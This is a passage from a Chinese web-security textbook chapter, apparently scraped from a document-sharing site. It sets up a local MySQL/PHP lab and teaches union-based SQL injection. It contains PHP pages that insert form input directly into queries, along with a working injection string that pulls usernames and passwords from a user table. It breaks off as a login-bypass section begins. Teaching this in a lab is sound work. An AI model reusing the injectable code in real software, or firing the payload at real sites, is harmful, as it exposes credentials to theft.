版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
第7章Web安全技术编著:
秦燊劳翠金
任务7.2
实施SQL注入任务7.2实施SQL注入一、基本环境在mysql中,创建一个库两个表,qikao表和user表。qikao表中存有ID、姓名、语文、数学、英语、学期等字段。user表存有用户名、密码等字段。二、具体操作1.登录mysql,账号root,密码root。C:\phpStudy\PHPTutorial\MySQL\bin>mysql-uroot-proot2.查看已有数据库。mysql>showdatabases;3.创建一个新的库qzone。mysql>createdatabaseqzonecharset=utf8;若utf8显示不正常,可改用GBK,命令如下:mysql>alterdatabaseqzonecharsetgbk;7.2.1SQL注入案例基本环境4.在qzone库中,创建qikao表。mysql>useqzone;mysql>createtableqikao(->idint(11)notnullprimarykeyauto_increment,->xingmingchar(16)notnull,->yuwenint(3)notnull,->shuxueint(3)notnull,->yingyuint(3)notnull,->xueqichar(16)notnull);QueryOK,0rowsaffected(0.00sec)5.查看qikao表的结构。mysql>showcolumnsfromqikao;6.若发现表的字段名有误,可进行修改。例如,发现字段名xingming输入错误,输成了xinming,修改方法如下:mysql>altertableqikaochangexinmingxingmingchar(16);7.在qikao表中,插入内容。mysql>insertintoqikao(xingming,yuwen,shuxue,yingyu,xueqi)values->('zhangsan',98,80,92,201807),->('lisi',93,98,93,201807),->('wangwu',89,88,98,201807);QueryOK,3rowsaffected(0.02sec)Records:3Duplicates:0Warnings:08.查看qikao表的内容。mysql>select*fromqikao;9.在qzone库中,创建user表。mysql>useqzone;mysql>showtables;mysql>createtableuser(->idint(11)notnullprimarykeyauto_increment,->usernamechar(16)notnull,->passwordchar(16)notnull);mysql>select*fromuser;10.在user表中,插入用户名admin,密码admin。mysql>insertintouser(username,password)values(->'admin','admin');11.修改表的内容。如果需要更改密码,如将用户admin的密码改为root,可用以下语句实现:mysql>updateusersetpassword='root'whereusername='admin';12.在user表中,继续插入用户名和密码。mysql>insertintouser(username,password)values(->'root','root'),('guest','guest');13.查看user表的内容。mysql>select*fromuser;mysql>selectusername,passwordfromuser;mysql>selectusername,passwordfromuserwhereid=1;mysql>select*fromuserwhereusername='admin'andpassword='root';14.删除记录。如需删除一条记录,如删除用户名是‘guest’的记录,命令如下:mysql>deletefromuserwhereusername='guest';mysql>select*fromuser;7.2.2通过union查询实施SQL注入一、普通查询1.在网站上,创建conn.php,文件内容如下:<?php$con=mysql_connect("localhost","root","root");//localhost是本地服务器,账号是root,密码是root。if(!$con){die(mysql_error());}mysql_select_db("qzone",$con);//连接数据库?>2.在网站上,网页21.htm文件内容如下:输入姓名,查询成绩:<formaction="22.php"method="get"> <inputtype="text"size=80name="xingming"value="zhangsan"> <inputtype="submit"value="输入"></form>网页显示的效果如图7-2-1所示:图7-2-1网站www.上的网页21.htm2.在网站上,网页22.php文件内容如下:<html><head><title>数据库显示</title></head><body>查询结果:<tablestyle='text-align:left;'border='1'><tr><th>ID号</th><th>姓名</th><th>语文</th><th>数学</th><th>英语</th><th>学期</th></tr><?phprequire'conn.php';//引用conn.php文件$xingming=$_GET['xingming'];$sql=mysql_query("select*fromqikaowherexingming='$xingming'");$datarow=mysql_num_rows($sql);//长度//以下通过循环遍历出数据表中的数据for($i=0;$i<$datarow;$i++){$sql_arr=mysql_fetch_row($sql);$id=$sql_arr[0];$xingming=$sql_arr[1];$yuwen=$sql_arr[2];$shuxue=$sql_arr[3];$yingyu=$sql_arr[4];echo"<tr><td>$sql_arr[0]</td><td>$sql_arr[1]</td><td>$sql_arr[2]</td><td>$sql_arr[3]</td><td>$sql_arr[4]</td><td>$sql_arr[5]</td></tr>";}?></table></body></html>网页显示的效果如图7-2-2所示:图7-2-2网站www.上的网页22.php二、通过union查询,实施SQL注入攻击一)SQL注入实例及效果。如图7-2-3所示,如果在21.htm页面中,输入的不是姓名,而是以下语句:'unionselectusername,password,null,null,null,nullfromuserwhereusername<>'图7-2-3网站www.上的网页21.htm这就相当于给$sql的赋值是一个union查询:$sql=mysql_query("select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromuserwhereusername<>''");如图7-2-4所示,查询的结果是获取用户名和密码等信息:其中,字段名“ID号”与“姓名“分别对应当于“用户名”和“密码”。图7-2-4网站www.上的网页22.php二)union查询。上例用到了union查询,下面通过实例来说明union查询的作用及使用方法。1.从表qikao中,读取出姓名是“lisi”的记录。命令如下:2.从表user中,读取出所有的用户名和密码。1)命令如下:mysql>selectusername,passwordfromuser;2)通过增加4个null字段,让刚才的输出从2列变成6列,从而与qikao表的6列输出一致。命令如下:mysql>selectusername,password,null,null,null,nullfromuser;3.通过union命令,将以上的两个输出联合成一个,字段名以排在前面的qikao表的字段名为准,每行的记录值先列出qikao表的输出值,再列出user表的输出值,具体命令如下:mysql>select*fromqikaowherexingming='lisi'unionselectusername,password,null,null,null,nullfromuser;4.上例中,参与联合输出的表有qikao和user,其中,表qikao中读取的条件是姓名为“lisi”,假如表qikao中读取的条件改为姓名为空,命令及输出结果如下:mysql>select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromuser;5.通过php网页来实现union查询。理解了union查询的作用后,我们接着通过php网页来实现union查询。在网站上,网页23.php文件内容如下:<!DOCTYPEhtml><html><head><title>数据库显示</title></head><body><tablestyle='text-align:left;'border='1'><tr><th>列1</th><th>列2</th><th>列3</th><th>列4</th><th>列5</th><th>列6</th></tr><?php//引用conn.php文件require'conn.php';//查询数据表中的数据$sql=mysql_query("select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromuser");$datarow=mysql_num_rows($sql);//长度//循环遍历出数据表中的数据for($i=0;$i<$datarow;$i++){$sql_arr=mysql_fetch_row($sql);echo"<tr><td>$sql_arr[0]</td><td>$sql_arr[1]</td><td>$sql_arr[2]</td><td>$sql_arr[3]</td><td>$sql_arr[4]</td><td>$sql_arr[5]</td></tr>";}?></table></body></html>网页的显示效果如图7-2-5所示。图7-2-5网站www.上的网页23.php6.在上例基础上,将显示的列名的显示变为qikao表的相应列名。在网站上,网页23-2.php文件内容如下:<html><head><title>数据库显示</title></head><body><tablestyle='text-align:left;'border='1'><tr><th>ID号</th><th>姓名</th><th>语文</th><th>数学</th><th>英语</th><th>学期</th></tr><?php//引用conn.php文件require'conn.php';//查询数据表中的数据//$xingming=$_GET['xingming'];$sql=mysql_query("select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromqzone.user");//'");$datarow=mysql_num_rows($sql);//长度//循环遍历出数据表中的数据for($i=0;$i<$datarow;$i++){//$sql_arr=mysql_fetch_assoc($sql);$sql_arr=mysql_fetch_row($sql);$id=$sql_arr[0];$xingming=$sql_arr[1];$yuwen=$sql_arr[2];$shuxue=$sql_arr[3];$yingyu=$sql_arr[4];echo"<tr><td>$sql_arr[0]</td><td>$sql_arr[1]</td><td>$sql_arr[2]</td><td>$sql_arr[3]</td><td>$sql_arr[4]</td><td>$sql_arr[5]</td></tr>";}?></table></body></html>网页的显示效果如图7-2-6所示。图7-2-6网站www.上的网页23-2.php7.2.3绕过用户名和密码认证一、网页的内容和功能。1.网站上,登录页面25.htm的内容如下:<formaction="26.php"method="POST"> 用户名:<inputtype="text"name="aa"><br> 密码:<inputtype="password"name="bb"><br> <inputtype="submit"value="登录"></form>网页的显示效果如图7-2-7所示。图7-2-7网站www.上的网页25.htm2.网站上,网页26.php的内容如下:<?phpsession_start();
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 《矿井水害预兆》课件
- 泌尿护理讲课课件
- 2024年度工业互联网平台开发与应用合同3篇
- 2024版隔音降噪设备升级合同3篇
- 2024年度房产赎楼尾款支付协议3篇
- 2024年度高校学生保险服务合同3篇
- 《外汇与汇率本》课件
- 2024版居间电力工程项目施工合同3篇
- 手术室值班护士职责
- 2024年度新能源发电项目开发与运营合同3篇
- 第一单元 项目一 探秘鸟类研究-认识数据、信息与知识 教案
- 2024安徽皖能环保发电限公司子公司秋季校园招聘75人高频难、易错点500题模拟试题附带答案详解
- 2-3《书的历史》(教学设计)二年级科学上册 教科版
- 多维度品牌传播策略实施方案
- 高职国际商务专业《国际贸易实务》说课稿
- 辽宁省历年中考语文现代文阅读之非连续性文本阅读28篇(含答案)(2003-2023)
- 结构力学优化算法:灵敏度分析:灵敏度分析基础
- 企业宣传策划合同范本1
- 卒中防治中心建设情况汇报课件
- 锂电池仓库存储管理(一)
- 人教版数学八年级上册《13.4 课题学习 最短路径问题》说课稿2
评论
0/150
提交评论